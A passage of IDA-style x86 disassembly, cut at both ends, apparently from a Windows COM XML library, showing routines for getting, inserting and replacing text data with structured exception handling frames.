push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-3Ch]
loc_69B53BAE: ; CODE XREF: sub_69B53B0C+45j
call sub_69B1853C
retn 4
sub_69B53B0C endp
; ---------------------------------------------------------------------------
align 4
dword_69B53BB8 dd 0FFFFFFFFh dd offset loc_69B53B75
dd offset loc_69B53B7E
; ---------------------------------------------------------------------------
loc_69B53BC4: ; CODE XREF: .text:69B54659j
; DATA XREF: .text:69B28804o
push 2Ch
push offset dword_69B53C78
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B53BE9
mov eax, 80004005h
jmp loc_69B53C6C
; ---------------------------------------------------------------------------
loc_69B53BE9: ; CODE XREF: .text:69B53BDDj
mov esi, [ebp+8]
push dword ptr [esi+20h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B53C06
mov ebx, 80070057h
jmp short loc_69B53C59
; ---------------------------------------------------------------------------
loc_69B53C06: ; CODE XREF: .text:69B53BFDj
mov [ebp-4], ebx
mov eax, [esi+20h]
mov ecx, [eax+1Ch]
mov [ebp-30h], ecx
mov [ebp-34h], ecx
push 1
push 1
push 1
call sub_69B4AAFC
mov [ebp-38h], eax
cmp eax, ebx
jz short loc_69B53C31
mov eax, [eax+8]
mov [ebp-3Ch], eax
mov [edi], eax
jmp short loc_69B53C55
; ---------------------------------------------------------------------------
loc_69B53C31: ; CODE XREF: .text:69B53C25j
mov [edi], ebx
jmp short loc_69B53C55
; ---------------------------------------------------------------------------
loc_69B53C35: ; DATA XREF: .text:69B53C7Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B53C3E: ; DATA XREF: .text:69B53C80o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B53C55: ; CODE XREF: .text:69B53C2Fj
; .text:69B53C33j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B53C59: ; CODE XREF: .text:69B53C04j
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B53C6C: ; CODE XREF: .text:69B53BE4j
call sub_69B1853C
retn 8
; ---------------------------------------------------------------------------
align 8
dword_69B53C78 dd 0FFFFFFFFh dd offset loc_69B53C35
dd offset loc_69B53C3E
; ---------------------------------------------------------------------------
loc_69B53C84: ; CODE XREF: .text:69B54663j
; DATA XREF: .text:69B28808o
push 34h
push offset dword_69B53DC0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B53CA7
mov eax, 80004005h
jmp loc_69B53DB8
; ---------------------------------------------------------------------------
loc_69B53CA7: ; CODE XREF: .text:69B53C9Bj
mov ebx, [ebp+8]
push dword ptr [ebx+20h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
xor edx, edx
inc edx
mov [ebp-30h], edx
mov eax, [ebp+14h]
test eax, eax
jz loc_69B53D9D
and dword ptr [eax], 0
mov esi, [ebp+0Ch]
test esi, esi
jl loc_69B53D93
mov edi, [ebp+10h]
test edi, edi
jl loc_69B53D93
jz loc_69B53DA4
and dword ptr [ebp-4], 0
mov eax, [ebx+20h]
mov ecx, [eax+1Ch]
mov [ebp-34h], ecx
push edx
push edx
push edx
call sub_69B4AAFC
mov ecx, eax
call sub_69B2F36F
mov [ebp-38h], eax
test eax, eax
jz loc_69B53D8D
mov ecx, [eax+8]
mov [ebp-3Ch], ecx
cmp esi, ecx
jg short loc_69B53D59
test ecx, ecx
jz short loc_69B53D8D
lea edx, [esi+edi]
cmp edx, ecx
jle short loc_69B53D29
sub ecx, esi
mov edi, ecx
mov [ebp+10h], edi
loc_69B53D29: ; CODE XREF: .text:69B53D20j
lea ecx, [esi+edi]
push ecx
push esi
push eax
call sub_69B2F0B1
mov ecx, eax
call sub_69B2F3CD
mov [ebp-40h], eax
mov ecx, [eax+0Ch]
mov [ebp-44h], ecx
push dword ptr [eax+8]
push ecx
call SysAllocStringLen
mov ecx, [ebp+14h]
mov [ecx], eax
and dword ptr [ebp-30h], 0
jmp short loc_69B53D8D
; ---------------------------------------------------------------------------
loc_69B53D59: ; CODE XREF: .text:69B53D15j
push 0C00CE218h
call sub_69B2D34C
mov dword ptr [ebp-30h], 80070057h
jmp short loc_69B53D8D
; ---------------------------------------------------------------------------
loc_69B53D6C: ; DATA XREF: .text:69B53DC4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B53D75: ; DATA XREF: .text:69B53DC8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-30h], eax
loc_69B53D8D: ; CODE XREF: .text:69B53D07j
; .text:69B53D19j ...
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B53DA4
; ---------------------------------------------------------------------------
loc_69B53D93: ; CODE XREF: .text:69B53CCFj
; .text:69B53CDAj
push 0C00CE218h
call sub_69B2D34C
loc_69B53D9D: ; CODE XREF: .text:69B53CC1j
mov dword ptr [ebp-30h], 80070057h
loc_69B53DA4: ; CODE XREF: .text:69B53CE0j
; .text:69B53D91j
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B53DB8: ; CODE XREF: .text:69B53CA2j
call sub_69B1853C
retn 10h
; ---------------------------------------------------------------------------
dword_69B53DC0 dd 0FFFFFFFFh dd offset loc_69B53D6C
dd offset loc_69B53D75
; ---------------------------------------------------------------------------
loc_69B53DCC: ; CODE XREF: .text:69B5466Dj
; DATA XREF: .text:69B2880Co
push 2Ch
push offset dword_69B53EC0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B53DF1
mov eax, 80004005h
jmp loc_69B53EB4
; ---------------------------------------------------------------------------
loc_69B53DF1: ; CODE XREF: .text:69B53DE5j
cmp [ebp+0Ch], ebx
jz short loc_69B53E04
push dword ptr [ebp+0Ch]
call ds:lstrlenW ; lstrlenW
mov [ebp-20h], eax
jmp short loc_69B53E07
; ---------------------------------------------------------------------------
loc_69B53E04: ; CODE XREF: .text:69B53DF4j
mov [ebp-20h], ebx
loc_69B53E07: ; CODE XREF: .text:69B53E02j
cmp [ebp-20h], ebx
jz loc_69B53EA9
mov edi, [ebp+8]
push dword ptr [edi+20h]
push dword ptr [ebp-1Ch]
lea ecx, [ebp-30h]
call sub_69B40E2F
mov [ebp-4], ebx
mov eax, [edi+20h]
mov esi, [eax+1Ch]
mov [ebp-34h], esi
mov [ebp-38h], esi
mov ecx, esi
call sub_69B48CEA
push 1
push 1
push 1
mov ecx, esi
call sub_69B4AAFC
mov ecx, eax
call sub_69B2F36F
mov [ebp-3Ch], eax
test eax, eax
jz short loc_69B53E5A
mov eax, [eax+8]
mov [ebp-20h], eax
jmp short loc_69B53E5E
; ---------------------------------------------------------------------------
loc_69B53E5A: ; CODE XREF: .text:69B53E50j
and dword ptr [ebp-20h], 0
loc_69B53E5E: ; CODE XREF: .text:69B53E58j
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B53E8B
; ---------------------------------------------------------------------------
loc_69B53E64: ; DATA XREF: .text:69B53EC4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B53E6D: ; DATA XREF: .text:69B53EC8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
or dword ptr [ebp-4], 0FFFFFFFFh
mov edi, [ebp+8]
loc_69B53E8B: ; CODE XREF: .text:69B53E62j
lea ecx, [ebp-30h]
call sub_69B18EBA
test ebx, ebx
jnz short loc_69B53EA9
mov eax, [edi]
push dword ptr [ebp+0Ch]
push ebx
push dword ptr [ebp-20h]
push edi
call dword ptr [eax+0C8h]
mov ebx, eax
loc_69B53EA9: ; CODE XREF: .text:69B53E0Aj
; .text:69B53E95j
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B53EB4: ; CODE XREF: .text:69B53DECj
call sub_69B1853C
retn 8
; ---------------------------------------------------------------------------
align 10h
dword_69B53EC0 dd 0FFFFFFFFh dd offset loc_69B53E64
dd offset loc_69B53E6D
; =============== S U B R O U T I N E =======================================
sub_69B53ECC proc near ; CODE XREF: .text:69B54677j
; DATA XREF: .text:69B28818o
push 68h
push offset dword_69B540F8
call sub_69B19C5C
call dword_69B92948
mov ebx, eax
mov [ebp-1Ch], ebx
xor edi, edi
cmp ebx, edi
jz short loc_69B53F0D
mov esi, [ebp+8]
push dword ptr [esi+20h]
push ebx
lea ecx, [ebp-30h]
call sub_69B40DFB
cmp byte ptr [ebp-2Ch], 0
jnz short loc_69B53F17
lea ecx, [ebp-30h]
call sub_69B4637D
push ebx
call dword_69B92944
loc_69B53F0D: ; CODE XREF: sub_69B53ECC+1Bj
mov eax, 80004005h
jmp loc_69B540EA
; ---------------------------------------------------------------------------
loc_69B53F17: ; CODE XREF: sub_69B53ECC+30j
mov ebx, [ebp+0Ch]
cmp ebx, edi
jl loc_69B540C5
cmp [ebp+10h], edi
jl loc_69B540C5
mov [ebp-4], edi
mov [ebp-34h], edi
mov eax, [esi+20h]
mov edi, [eax+1Ch]
mov [ebp-38h], edi
mov [ebp-3Ch], edi
mov ecx, edi
call sub_69B48CEA
push 0
push 1
push 1
mov ecx, edi
call sub_69B4AAFC
mov edi, eax
mov [ebp-40h], edi
test edi, edi
jz short loc_69B53F74
mov eax, [edi+8]
mov [ebp-44h], eax
mov ecx, [edi+0Ch]
mov [ebp-48h], ecx
push eax
push eax
push ecx
lea ecx, [esi-0Ch]
call sub_69B52372
mov [ebp-34h], eax
loc_69B53F74: ; CODE XREF: sub_69B53ECC+8Cj
cmp ebx, [ebp-34h]
jg loc_69B5408B
xor eax, eax
mov [ebp-4Ch], eax
cmp [ebp+14h], eax
jz short loc_69B53F90
push dword ptr [ebp+14h] ; lpString
call ds:lstrlenW ; lstrlenW
loc_69B53F90: ; CODE XREF: sub_69B53ECC+B9j
mov [ebp-50h], eax
mov eax, [ebp+10h]
add eax, ebx
cmp eax, [ebp-34h]
jle short loc_69B53FA5
mov eax, [ebp-34h]
sub eax, ebx
mov [ebp+10h], eax
loc_69B53FA5: ; CODE XREF: sub_69B53ECC+CFj
mov eax, [ebp-50h]
sub eax, [ebp+10h]
add eax, [ebp-34h]
test eax, eax
jle loc_69B54078
mov ebx, [edi+0Ch]
mov [ebp-54h], ebx
mov edi, [edi+8]
mov [ebp-58h], edi
lea ecx, [esi-0Ch]
mov [ebp-5Ch], ecx
push edi
push dword ptr [ebp+0Ch]
push ebx
call sub_69B52341
mov edi, eax
mov [ebp-60h], edi
lea esi, [edi+edi]
mov eax, [ebp-58h]
sub eax, edi
push eax
push dword ptr [ebp+10h]
lea eax, [esi+ebx]
push eax
mov ecx, [ebp-5Ch]
call sub_69B52341
mov [ebp-64h], eax
mov eax, [ebp-58h]
sub eax, [ebp-64h]
mov [ebp-68h], eax
mov ecx, [ebp-50h]
add eax, ecx
push eax
push 0
call sub_69B190D7
mov [ebp-4Ch], eax
test edi, edi
jle short loc_69B5402A
mov edi, [eax+0Ch]
mov [ebp-6Ch], edi
mov ecx, esi
mov esi, ebx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov edi, [ebp-60h]
loc_69B5402A: ; CODE XREF: sub_69B53ECC+141j
mov ecx, [ebp-50h]
test ecx, ecx
jle short loc_69B54044
mov eax, [eax+0Ch]
mov [ebp-70h], eax
mov esi, [ebp+14h]
add edi, edi
add edi, eax
rep movsw
mov edi, [ebp-60h]
loc_69B54044: ; CODE XREF: sub_69B53ECC+163j
mov eax, [ebp-64h]
lea edx, [eax+edi]
cmp edx, [ebp-58h]
jge short loc_69B54078
mov eax, [ebp-4Ch]
mov eax, [eax+0Ch]
mov [ebp-74h], eax
mov ecx, [ebp-68h]
sub ecx, edi
shl ecx, 1
lea esi, [ebx+edx*2]
mov edx, [ebp-50h]
add edi, edx
lea edi, [eax+edi*2]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_69B54078: ; CODE XREF: sub_69B53ECC+E4j
; sub_69B53ECC+181j
push 0
push dword ptr [ebp-4Ch]
mov ecx, [ebp-38h]
call sub_69B4BAA7
and dword ptr [ebp-78h], 0
jmp short loc_69B540BF
; ---------------------------------------------------------------------------
loc_69B5408B: ; CODE XREF: sub_69B53ECC+ABj
push 0C00CE218h
call sub_69B2D34C
mov dword ptr [ebp-78h], 80070057h
jmp short loc_69B540BF
; ---------------------------------------------------------------------------
loc_69B5409E: ; DATA XREF: .text:69B540FCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B540A7: ; DATA XREF: .text:69B54100o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-78h], eax
loc_69B540BF: ; CODE XREF: sub_69B53ECC+1BDj
; sub_69B53ECC+1D0j
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B540D6
; ---------------------------------------------------------------------------
loc_69B540C5: ; CODE XREF: sub_69B53ECC+50j
; sub_69B53ECC+59j
push 0C00CE218h
call sub_69B2D34C
mov dword ptr [ebp-78h], 80070057h
loc_69B540D6: ; CODE XREF: sub_69B53ECC+1F7j
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-78h]
loc_69B540EA: ; CODE XREF: sub_69B53ECC+46j
call sub_69B1853C
retn 10h
sub_69B53ECC endp
; ---------------------------------------------------------------------------
align 8
dword_69B540F8 dd 0FFFFFFFFh dd offset loc_69B5409E
dd offset loc_69B540A7
; ---------------------------------------------------------------------------
loc_69B54104: ; DATA XREF: .text:69B2874Co
push 60h
push offset dword_69B54300
call sub_69B19C5C
call dword_69B92948
mov ebx, eax
mov [ebp-1Ch], ebx
xor edi, edi
cmp ebx, edi
jz short loc_69B54145
mov esi, [ebp+8]
push dword ptr [esi+1Ch]
push ebx
lea ecx, [ebp-30h]
call sub_69B40DFB
cmp byte ptr [ebp-2Ch], 0
jnz short loc_69B5414F
lea ecx, [ebp-30h]
call sub_69B4637D
push ebx
call dword_69B92944
loc_69B54145: ; CODE XREF: .text:69B5411Fj
mov eax, 80004005h
jmp loc_69B542F5
; ---------------------------------------------------------------------------
loc_69B5414F: ; CODE XREF: .text:69B54134j
xor ebx, ebx
inc ebx
mov [ebp-34h], ebx
cmp [ebp+0Ch], edi
jge short loc_69B54166
push 0C00CE218h
call sub_69B2D34C
jmp short loc_69B5416D
; ---------------------------------------------------------------------------
loc_69B54166: ; CODE XREF: .text:69B54158j
mov eax, [ebp+10h]
cmp eax, edi
jnz short loc_69B54179
loc_69B5416D: ; CODE XREF: .text:69B54164j
mov dword ptr [ebp-34h], 80070057h
jmp loc_69B542E1
; ---------------------------------------------------------------------------
loc_69B54179: ; CODE XREF: .text:69B5416Bj
mov [eax], edi
mov [ebp-4], edi
mov eax, [esi+1Ch]
mov esi, [eax+1Ch]
mov [ebp-38h], esi
mov [ebp-3Ch], esi
mov ecx, esi
call sub_69B48CEA
push edi
push ebx
push ebx
mov ecx, esi
call sub_69B4AAFC
mov [ebp-40h], eax
mov ebx, [eax+0Ch]
mov [ebp-44h], ebx
mov [ebp-48h], edi
mov [ebp-4Ch], edi
mov edi, [eax+8]
mov [ebp-4Ch], edi
mov ecx, [ebp+8]
add ecx, 0FFFFFFF0h
mov [ebp-50h], ecx
push edi
push edi
push ebx
call sub_69B52372
mov [ebp-48h], eax
cmp [ebp+0Ch], eax
jle short loc_69B541DF
push 0C00CE218h
call sub_69B2D34C
mov dword ptr [ebp-34h], 80070057h
jmp loc_69B542A4
; ---------------------------------------------------------------------------
loc_69B541DF: ; CODE XREF: .text:69B541C7j
test eax, eax
jz loc_69B542A4
cmp [ebp+0Ch], eax
jz loc_69B542A4
push edi
push dword ptr [ebp+0Ch]
push ebx
mov ecx, [ebp-50h]
call sub_69B52341
mov [ebp-54h], eax
push eax
push ebx
call sub_69B190D7
mov [ebp-58h], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
mov [ebp-5Ch], eax
mov ecx, [eax+50h]
mov [ebp-60h], ecx
push ecx
push eax
push 0
xor eax, eax
mov al, [esi+0Bh]
and eax, 1Fh
push eax
call sub_69B1BE7F
mov [ebp-64h], eax
mov ecx, eax
call sub_69B48B01
mov ebx, eax
mov [ebp-68h], ebx
mov eax, [ebx]
push dword ptr [ebp+10h]
push offset dword_69B25DC4
push ebx
call dword ptr [eax]
mov [ebp-34h], eax
mov eax, [ebx]
push ebx
call dword ptr [eax+8]
mov eax, [ebp-54h]
sub edi, eax
push edi
mov ecx, [ebp-44h]
lea eax, [ecx+eax*2]
push eax
call sub_69B190D7
mov [ebp-6Ch], eax
push 0
push eax
mov ecx, [ebp-64h]
call sub_69B4BAA7
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F4h]
mov [ebp-70h], eax
test eax, eax
jz short loc_69B54298
mov ecx, esi
call sub_69B48533
push eax
push dword ptr [ebp-64h]
mov ecx, [ebp-70h]
call sub_69B499AC
loc_69B54298: ; CODE XREF: .text:69B54283j
push 0
push dword ptr [ebp-58h]
mov ecx, esi
call sub_69B4BAA7
loc_69B542A4: ; CODE XREF: .text:69B541DAj
; .text:69B541E1j ...
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B542E1
; ---------------------------------------------------------------------------
loc_69B542AA: ; DATA XREF: .text:69B54304o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B542B3: ; DATA XREF: .text:69B54308o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-34h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp+10h]
mov eax, [esi]
test eax, eax
jz short loc_69B542E1
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
and dword ptr [esi], 0
loc_69B542E1: ; CODE XREF: .text:69B54174j
; .text:69B542A8j ...
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-34h]
loc_69B542F5: ; CODE XREF: .text:69B5414Aj
call sub_69B1853C
retn 0Ch
; ---------------------------------------------------------------------------
align 10h
dword_69B54300 dd 0FFFFFFFFh dd offset loc_69B542AA
dd offset loc_69B542B3
; =============== S U B R O U T I N E =======================================
sub_69B5430C proc near ; CODE XREF: sub_69B543F4+38p
; sub_69B54442+38p ...
push 34h
push offset dword_69B543E8
call sub_69B19C5C
mov esi, ecx
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B54333
mov eax, 80004005h
jmp loc_69B543DC
; ---------------------------------------------------------------------------
loc_69B54333: ; CODE XREF: sub_69B5430C+1Bj
push dword ptr [esi+2Ch]
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B5434D
mov ebx, 80070057h
jmp short loc_69B543C9
; ---------------------------------------------------------------------------
loc_69B5434D: ; CODE XREF: sub_69B5430C+38j
mov [ebp-4], ebx
mov eax, [esi+2Ch]
mov ecx, [eax+1Ch]
mov [ebp-30h], ecx
push ebx
push 0Fh
push dword ptr [ebp+8]
call sub_69B49C1F
mov ecx, eax
mov [ebp-34h], ecx
cmp ecx, ebx
jz short loc_69B5439B
call sub_69B4B7D5
mov [ebp-38h], eax
cmp eax, ebx
jz short loc_69B5439B
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
mov [ebp-3Ch], eax
cmp eax, ebx
jz short loc_69B5439B
mov ecx, [eax+0Ch]
mov [ebp-40h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [edi], eax
jmp short loc_69B543A0
; ---------------------------------------------------------------------------
loc_69B5439B: ; CODE XREF: sub_69B5430C+5Fj
; sub_69B5430C+6Bj ...
mov [edi], ebx
xor ebx, ebx
inc ebx
loc_69B543A0: ; CODE XREF: sub_69B5430C+8Dj
mov [ebp-44h], ebx
jmp short loc_69B543C5
; ---------------------------------------------------------------------------
loc_69B543A5: ; DATA XREF: .text:69B543ECo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B543AE: ; DATA XREF: .text:69B543F0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B543C5: ; CODE XREF: sub_69B5430C+97j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B543C9: ; CODE XREF: sub_69B5430C+3Fj
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B543DC: ; CODE XREF: sub_69B5430C+22j
call sub_69B1853C
retn 8
sub_69B5430C endp
; ---------------------------------------------------------------------------
align 8
dword_69B543E8 dd 0FFFFFFFFh dd offset loc_69B543A5
dd offset loc_69B543AE
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B543F4 proc near ; CODE XREF: .text:69B5469Fj
; DATA XREF: .text:69B285C4o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_69B5440B
mov eax, 80070057h
jmp short loc_69B5443D
; ---------------------------------------------------------------------------
loc_69B5440B: ; CODE XREF: sub_69B543F4+Ej
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 9
push edi
mov edi, eax
jg short loc_69B5441E
call sub_69B2E6D8
loc_69B5441E: ; CODE XREF: sub_69B543F4+23j
mov eax, [edi+30h]
lea ecx, [ebp+var_4]
push ecx
mov ecx, [ebp+arg_0]
push eax
add ecx, 0FFFFFFE8h
call sub_69B5430C
mov ecx, [ebp+var_4]
mov word ptr [esi], 8
mov [esi+8], ecx
pop edi
loc_69B5443D: ; CODE XREF: sub_69B543F4+15j
pop esi
leave
retn 8
sub_69B543F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B54442 proc near ; CODE XREF: .text:69B546A9j
; DATA XREF: .text:69B285C8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_69B54459
mov eax, 80070057h
jmp short loc_69B5448B
; ---------------------------------------------------------------------------
loc_69B54459: ; CODE XREF: sub_69B54442+Ej
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 0Ah
push edi
mov edi, eax
jg short loc_69B5446C
call sub_69B2E6D8
loc_69B5446C: ; CODE XREF: sub_69B54442+23j
mov eax, [edi+34h]
lea ecx, [ebp+var_4]
push ecx
mov ecx, [ebp+arg_0]
push eax
add ecx, 0FFFFFFE8h
call sub_69B5430C
mov ecx, [ebp+var_4]
mov word ptr [esi], 8
mov [esi+8], ecx
pop edi
loc_69B5448B: ; CODE XREF: sub_69B54442+15j
pop esi
leave
retn 8
sub_69B54442 endp
; =============== S U B R O U T I N E =======================================
sub_69B54490 proc near ; DATA XREF: .text:69B285CCo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push offset aNdata_0 ; "NDATA"
call sub_69B11E05
mov ecx, [esp+4+arg_0]
push eax
add ecx, 0FFFFFFE8h
call sub_69B5430C
retn 8
sub_69B54490 endp
; ---------------------------------------------------------------------------
loc_69B544AE: ; DATA XREF: .text:69B283A8o
push 24h
push offset dword_69B54560
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B544D3
mov eax, 80004005h
jmp loc_69B54553
; ---------------------------------------------------------------------------
loc_69B544D3: ; CODE XREF: .text:69B544C7j
mov esi, [ebp+8]
push dword ptr [esi+8]
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B544F0
mov ebx, 80070057h
jmp short loc_69B54540
; ---------------------------------------------------------------------------
loc_69B544F0: ; CODE XREF: .text:69B544E7j
mov [ebp-4], ebx
push 38h
call sub_69B1D897
mov ecx, eax
mov [ebp-30h], ecx
test ecx, ecx
jz short loc_69B54516
mov eax, [esi+8]
mov eax, [eax+1Ch]
mov [ebp-34h], eax
push 7
push eax
call sub_69B14B8C
jmp short loc_69B54518
; ---------------------------------------------------------------------------
loc_69B54516: ; CODE XREF: .text:69B54501j
xor eax, eax
loc_69B54518: ; CODE XREF: .text:69B54514j
mov [edi], eax
jmp short loc_69B5453C
; ---------------------------------------------------------------------------
loc_69B5451C: ; DATA XREF: .text:69B54564o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B54525: ; DATA XREF: .text:69B54568o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B5453C: ; CODE XREF: .text:69B5451Aj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B54540: ; CODE XREF: .text:69B544EEj
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B54553: ; CODE XREF: .text:69B544CEj
call sub_69B1853C
retn 8
; ---------------------------------------------------------------------------
align 10h
dword_69B54560 dd 0FFFFFFFFh dd offset loc_69B5451C
dd offset loc_69B54525
; ---------------------------------------------------------------------------
loc_69B5456C: ; DATA XREF: .text:69B283ACo
push 24h
push offset dword_69B54620
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B54591
mov eax, 80004005h
jmp loc_69B54611
; ---------------------------------------------------------------------------
loc_69B54591: ; CODE XREF: .text:69B54585j
mov esi, [ebp+8]
push dword ptr [esi+8]
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B545AE
mov ebx, 80070057h
jmp short loc_69B545FE
; ---------------------------------------------------------------------------
loc_69B545AE: ; CODE XREF: .text:69B545A5j
mov [ebp-4], ebx
push 38h
call sub_69B1D897
mov ecx, eax
mov [ebp-30h], ecx
test ecx, ecx
jz short loc_69B545D4
mov eax, [esi+8]
mov eax, [eax+1Ch]
mov [ebp-34h], eax
push 8
push eax
call sub_69B14B8C
jmp short loc_69B545D6
; ---------------------------------------------------------------------------
loc_69B545D4: ; CODE XREF: .text:69B545BFj
xor eax, eax
loc_69B545D6: ; CODE XREF: .text:69B545D2j
mov [edi], eax
jmp short loc_69B545FA
; ---------------------------------------------------------------------------
loc_69B545DA: ; DATA XREF: .text:69B54624o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B545E3: ; DATA XREF: .text:69B54628o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B545FA: ; CODE XREF: .text:69B545D8j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B545FE: ; CODE XREF: .text:69B545ACj
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B54611: ; CODE XREF: .text:69B5458Cj
call sub_69B1853C
retn 8
; ---------------------------------------------------------------------------
align 10h
dword_69B54620 dd 0FFFFFFFFh dd offset loc_69B545DA
dd offset loc_69B545E3
; ---------------------------------------------------------------------------
loc_69B5462C: ; DATA XREF: .text:69B28934o
sub dword ptr [esp+4], 4
jmp sub_69B533E0
; ---------------------------------------------------------------------------
loc_69B54636: ; DATA XREF: .text:69B2887Co
sub dword ptr [esp+4], 8
jmp sub_69B533E0
; ---------------------------------------------------------------------------
loc_69B54640: ; DATA XREF: .text:69B287ACo
sub dword ptr [esp+4], 0Ch
jmp sub_69B533E0
; ---------------------------------------------------------------------------
loc_69B5464A: ; DATA XREF: .text:69B286DCo
sub dword ptr [esp+4], 10h
jmp sub_69B533E0
; ---------------------------------------------------------------------------
loc_69B54654: ; DATA XREF: .text:69B28734o
sub dword ptr [esp+4], 4
jmp loc_69B53BC4
; ---------------------------------------------------------------------------
loc_69B5465E: ; DATA XREF: .text:69B28738o
sub dword ptr [esp+4], 4
jmp loc_69B53C84
; ---------------------------------------------------------------------------
loc_69B54668: ; DATA XREF: .text:69B2873Co
sub dword ptr [esp+4], 4
jmp loc_69B53DCC
; ---------------------------------------------------------------------------
loc_69B54672: ; DATA XREF: .text:69B28748o
sub dword ptr [esp+4], 4
jmp sub_69B53ECC
; ---------------------------------------------------------------------------
loc_69B5467C: ; DATA XREF: .text:69B2862Co
sub dword ptr [esp+4], 14h
jmp sub_69B533E0
; ---------------------------------------------------------------------------
loc_69B54686: ; DATA XREF: .text:69B28574o
sub dword ptr [esp+4], 18h
jmp sub_69B533E0
; ---------------------------------------------------------------------------
loc_69B54690: ; DATA XREF: .text:69B284BCo
